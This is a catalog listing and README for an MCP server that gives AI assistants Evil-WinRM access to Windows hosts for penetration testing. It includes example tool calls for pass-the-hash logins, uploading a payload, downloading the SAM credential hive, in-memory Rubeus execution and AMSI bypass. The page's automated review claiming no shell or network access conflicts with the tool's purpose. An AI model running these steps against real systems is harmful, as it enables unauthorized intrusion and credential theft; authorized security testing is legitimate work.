Install
$ agentstack add mcp-schwarztim-sec-evil-winrm-mcp ✓ scanned · ✓ verified — works with Claude Code, Cursor, and more.
Security review
✓ PassedNo issues found. Passed automated security review. · v0.1.0 How review works →
- ✓ Prompt-injection patterns
- ✓ Secret / credential exfiltration
- ✓ Dangerous shell & filesystem operations
- ✓ Untrusted network calls
- ✓ Known-malicious package signatures
What it can access
- ✓ Network access No
- ✓ Filesystem access No
- ✓ Shell / process execution No
- ✓ Environment & secrets No
- ✓ Dynamic code execution No
From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.
About
Evil-WinRM MCP Server
An MCP (Model Context Protocol) server that provides AI assistants with the ability to execute Evil-WinRM commands against Windows targets via SSH to a Kali Linux host.
Overview
Evil-WinRM is the ultimate WinRM shell for penetration testing. This MCP server wraps Evil-WinRM to enable AI-assisted Windows post-exploitation and lateral movement tasks.
Key Features
- Multiple Authentication Methods - Password, NTLM hash (Pass-the-Hash), and Kerberos
- PowerShell Execution - Run arbitrary PowerShell commands on targets
- File Transfer - Upload and download files to/from Windows systems
- In-Memory Execution - Load .NET assemblies and DLLs without touching disk
- AMSI Bypass - Built-in Bypass-4MSI functionality
- Service Enumeration - List services with permission analysis
Architecture
AI Assistant MCP Server SSH Kali Linux Evil-WinRM Windows Target
The MCP server runs locally and executes Evil-WinRM commands on a remote Kali Linux host via SSH, which then connects to Windows targets over WinRM (ports 5985/5986).
Prerequisites
- Node.js 18.x or higher
- Kali Linux with Evil-WinRM installed (
gem install evil-winrm) - SSH Access from the MCP server host to Kali Linux
- Network Access from Kali to Windows targets (WinRM ports 5985/5986)
Installation
# Clone the repository
git clone https://github.com/schwarztim/sec-evil-winrm-mcp.git
cd sec-evil-winrm-mcp
# Install dependencies
npm install
# Build
npm run build
Configuration
Environment Variables
| Variable | Description | Default | |----------|-------------|---------| | KALI_HOST | Kali Linux hostname or IP address | kali | | KALI_USER | SSH username for Kali | kali | | SSH_KEY | Path to SSH private key (optional) | - | | EVILWINRM_DEFAULT_PORT | Default WinRM port | 5985 |
Claude Desktop Configuration
Add to your Claude Desktop config (~/.config/Claude/claude_desktop_config.json):
{
"mcpServers": {
"evil-winrm": {
"command": "node",
"args": ["/path/to/sec-evil-winrm-mcp/dist/index.js"],
"env": {
"KALI_HOST": "your-kali-host",
"KALI_USER": "kali",
"SSH_KEY": "/path/to/ssh/key"
}
}
}
}
Available Tools
Session Management
| Tool | Description | |------|-------------| | evilwinrm_connect | Configure connection parameters (host, user, password/hash, SSL, Kerberos) | | evilwinrm_get_session | View current session configuration | | evilwinrm_clear_session | Clear session parameters | | evilwinrm_test_connection | Test SSH connectivity to Kali and verify Evil-WinRM installation |
Command Execution
| Tool | Description | |------|-------------| | evilwinrm_exec | Execute PowerShell commands on the target | | evilwinrm_services | List Windows services and analyze permissions |
File Transfer
| Tool | Description | |------|-------------| | evilwinrm_upload | Upload files from Kali to target | | evilwinrm_download | Download files from target to Kali |
Advanced Features
| Tool | Description | |------|-------------| | evilwinrm_menu | Show available Evil-WinRM built-in functions | | evilwinrm_dll_loader | Load DLLs via SMB, local path, or HTTP | | evilwinrm_invoke_binary | Execute .NET assemblies in memory | | evilwinrm_bypass_amsi | Patch AMSI (Antimalware Scan Interface) protections |
Usage Examples
Basic Connection with Password
1. evilwinrm_connect(host="192.168.1.100", user="administrator", password="P@ssw0rd")
2. evilwinrm_exec(command="whoami /all")
3. evilwinrm_exec(command="Get-Process | Select-Object -First 10")
Pass-the-Hash Attack
1. evilwinrm_connect(
host="192.168.1.100",
user="administrator",
hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"
)
2. evilwinrm_exec(command="hostname")
SSL/HTTPS Connection (Port 5986)
1. evilwinrm_connect(
host="192.168.1.100",
user="admin",
password="secret",
port="5986",
ssl=true
)
Kerberos Authentication
1. evilwinrm_connect(
host="dc01.corp.local",
user="admin",
password="P@ssw0rd",
realm="CORP.LOCAL"
)
File Operations
# Upload a file
evilwinrm_upload(local_path="/tmp/payload.exe", remote_path="C:\\Windows\\Temp\\payload.exe")
# Download a file
evilwinrm_download(remote_path="C:\\Windows\\System32\\config\\SAM", local_path="/tmp/SAM")
In-Memory Execution
# First, configure with executables path
evilwinrm_connect(
host="192.168.1.100",
user="admin",
password="secret",
execs_path="/opt/tools/dotnet"
)
# Execute .NET assembly in memory
evilwinrm_invoke_binary(binary_name="Rubeus.exe", arguments="triage")
Security Notice
This tool is intended for authorized security testing and research only.
- Always obtain proper written authorization before testing
- Only use against systems you own or have explicit permission to test
- Follow responsible disclosure practices
- Comply with all applicable laws and regulations
Unauthorized access to computer systems is illegal. The authors are not responsible for misuse of this tool.
References
License
MIT License - see [LICENSE](LICENSE) for details.
Source & license
This open-source MCP server is cataloged on AgentStack and links to its original source — we do not rehost the code.
- Author: schwarztim
- Source: schwarztim/sec-evil-winrm-mcp
- License: MIT
Install and usage instructions live in the source repository linked above.
Reviews
No reviews yet — be the first.
Write a review
Versions
- v0.1.0 Imported from the upstream source.